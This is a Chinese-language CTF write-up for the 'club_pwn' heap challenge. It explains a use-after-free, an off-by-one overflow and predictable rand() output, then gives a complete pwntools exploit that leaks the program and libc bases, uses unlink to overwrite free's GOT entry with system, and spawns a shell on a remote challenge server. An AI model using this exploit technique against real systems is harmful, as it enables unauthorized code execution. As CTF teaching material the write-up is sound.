[原创]第四题club_pwn writeup
[原创]第四题club_pwn writeup
0x00 程序逻辑
菜单题,5个选项

其中值得留意的是
3)destory,只能free small和normal的指针,该功能在free指针的时候没有清零,同时flag[]也没有置零。
5)guess这个功能,ida里进去发现只要我们输入正确的随机数,就可以得到&seed的地址。
0x01 程序漏洞
在
destory函数中free指针后ptr和flag都没有清零,同时在leaveMessage、destory和showMessage功能中没有检查flag[]和inuse位,可以造成UAF和double freeleaveMessage中读入会造成off-by-one(单字节溢出)guess的伪随机数是可预测的
0x02 漏洞利用
checksec,发现除了RELRO,保护全开

这个off-by-one可以造成unlink,但是我们不知道1)程序的基址2)libc的基址,所以下面我们想办法泄露这两个地址
elf的基址前面提到,guess函数的伪随机数是可以预测的,我们在得到足够的数据后预测到下一个随机数的值,其关系如下
oi = oi-31 + oi-3 mod 2**31 or oi = oi-31 + oi-3 + 1 mod 2**31, for all i ≥ 31.
其中oi为第i个output伪随机数的值(i为下标),2**31 == 2147483648,详细的内容参考这篇文章,或者原文
其部分代码如下def elfBase(p, numberList, pNumber): p.recvuntil('> ') p.sendline('5') p.recvuntil('> ') p.sendline(str(pNumber)) a = p.recv(1) if a == 'G': elf.address = int(p.recvline().split(' ')[-1][:-2], 10) - 0x0000000000202148 return 1 p.recvuntil('is ') a = p.recvuntil('!') number = int(a[:-1], 10) if number not in numberList: numberList.append(number) length = len(numberList) if length >= 31: pNumber = (numberList[length-31] + numberList[length-3]) % 2147483648 return pNumber else: return 0 ........ ........ def pwn(p): pNumber = 0 numberList = [] while True: pNumber = elfBase(p, numberList, pNumber) if pNumber == 1: break print('elf.address => {}'.format(hex(elf._address)))libc我们可以通过
showMessage这个函数获得,该函数没有检查flag[]与inuse,我们先申请一个smalbin大小的box,然后释放,就会在对应的chunk的fd与bk除填上unsortbins的链表头地址pwndbg> parseheap addr prev size status fd bk 0x555555757000 0x0 0x410 Used None None 0x555555757410 0x0 0x110 Freed 0x7ffff7dd3b58 0x7ffff7dd3b58 0x555555757520 0x110 0x120 Used None None pwndbg> chunkinfo 0x555555757410 ================================== Chunk info ================================== Status : Freed Unlinkable : True Result of unlink : FD->bk (*0x7ffff7dd3b70) = BK (0x555555757410 -> 0x7ffff7dd3b58) BK->fd (*0x7ffff7dd3b68) = FD (0x555555757410 -> 0x7ffff7dd3b58) prev_size : 0x0 size : 0x110 prev_inused : 1 is_mmap : 0 non_mainarea : 0 fd : 0x7ffff7dd3b58 bk : 0x7ffff7dd3b58我们输出这个值即可
[DEBUG] Received 0x93 bytes: 00000000 58 3b dd f7 ff 7f 0a 59 6f 75 20 68 61 76 65 20 │X;··│···Y│ou h│ave │ 00000010 36 20 6f 70 65 72 61 74 69 6f 6e 20 3a 0a 31 29 │6 op│erat│ion │:·1)│ 00000020 20 67 65 74 20 61 20 62 6f 78 0a 32 29 20 64 65 │ get│ a b│ox·2│) de│ 00000030 73 74 6f 72 79 20 61 20 62 6f 78 0a 33 29 20 6c │stor│y a │box·│3) l│ 00000040 65 61 76 65 20 6d 65 20 61 20 6d 65 73 73 61 67 │eave│ me │a me│ssag│ 00000050 65 20 69 6e 20 62 6f 78 0a 34 29 20 73 68 6f 77 │e in│ box│·4) │show│ 00000060 20 6d 65 73 73 61 67 65 20 69 6e 20 62 6f 78 0a │ mes│sage│ in │box·│ 00000070 35 29 20 67 75 65 73 73 20 61 20 72 61 6e 64 6f │5) g│uess│ a r│ando│ 00000080 6d 20 6e 75 6d 62 65 72 0a 36 29 20 65 78 69 74 │m nu│mber│·6) │exit│ 00000090 0a 3e 20 │·> │ 00000093 libc => 0x7ffff7a0efe0
该部分代码如下:
getBox(p, 2, 0x100+0x8) getBox(p, 3, 0x100+0x8+0x10) destory(p, 2) libc.address = showMessage(p, 2) - 0x3c4b78 print('libc => {}'.format(hex(libc.address)))最后我们利用off-by-one造成unlink,修改
free的got表即可getBox(p, 1, 0x20) leaveMessage(p, 2, p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) \ + 'a' * (0x108-0x28) + p64(0x100) + '\x20') leaveMessage(p, 3, '/bin/sh\0\n') destory(p, 3) leaveMessage(p, 2, 'a' * 0x10 + p64(elf.got['free']) + '\n') print('system => {}'.format(hex(libc.symbols['system']))) leaveMessage(p, 1, p64(libc.symbols['system']) + '\n') destory(p, 3)
0x03 exp
#!/usr/bin/env python
# coding=utf-8
from pwn import *
slog = 0
local = 0
debug = 0
libc_env = 1
global p
global libc
global elf
if slog: context(log_level = 'debug')
if local and debug:
gdb.attach(p, open('debug'))
def makeio(local=local):
if local:
if libc_env:
p = process('./club', env={'LD_PRELOAD': './libc.so.6'})
libc = ELF('./libc.so.6')
else:
p = process('./club')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('123.206.22.95', 8888)
libc = ELF('./libc.so.6')
return p, libc
elf = ELF('./club')
def getBox(p, kind, size):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline(str(kind))
p.recvuntil('> ')
p.sendline(str(size))
def leaveMessage(p, kind, message):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil('> ')
p.sendline(str(kind))
p.send(message)
def destory(p, kind):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('> ')
p.sendline(str(kind))
def elfBase(p, numberList, pNumber):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil('> ')
p.sendline(str(pNumber))
a = p.recv(1)
if a == 'G':
elf.address = int(p.recvline().split(' ')[-1][:-2], 10) - 0x0000000000202148
return 1
p.recvuntil('is ')
a = p.recvuntil('!')
number = int(a[:-1], 10)
if number not in numberList:
numberList.append(number)
length = len(numberList)
if length >= 31:
pNumber = (numberList[length-31] + numberList[length-3]) % 2147483648
return pNumber
else:
return 0
def showMessage(p, kind):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil('> ')
p.sendline(str(kind))
return u64(p.recv(6) + '\0\0')
def pwn(p):
pNumber = 0
numberList = []
while True:
pNumber = elfBase(p, numberList, pNumber)
if pNumber == 1:
break
print('elf.address => {}'.format(hex(elf._address)))
# elf.address = 0x555555554000
ptr = elf.address + 0x000000000202100 + 0x10
getBox(p, 2, 0x100+0x8)
getBox(p, 3, 0x100+0x8+0x10)
destory(p, 2)
libc.address = showMessage(p, 2) - 0x3c4b78
print('libc => {}'.format(hex(libc.address)))
gdb.attach(p)
getBox(p, 1, 0x20)
leaveMessage(p, 2, p64(0) + p64(0x101) + p64(ptr-0x18) + p64(ptr-0x10) \
+ 'a' * (0x108-0x28) + p64(0x100) + '\x20')
leaveMessage(p, 3, '/bin/sh\0\n')
destory(p, 3)
leaveMessage(p, 2, 'a' * 0x10 + p64(elf.got['free']) + '\n')
print('system => {}'.format(hex(libc.symbols['system'])))
leaveMessage(p, 1, p64(libc.symbols['system']) + '\n')
# leaveMessage(p, 1, p64(libc.address + 0xf1117) + '\n')
# getBox(p, 4, 0x500)
# leaveMessage(p, 4, '/bin/sh\0\n')
# p.recvuntil('> ')
# p.sendline('/bin/sh\0')
destory(p, 3)
if __name__ == '__main__':
p, libc = makeio()
pwn(p)
p.interactive()
0x04 几个疑问
我刚开是是修改atoi的got为system但是不知道为什么本地getshell,远程eof,坑了很久,而且很多时候也会出现,望各位大佬指点一二。
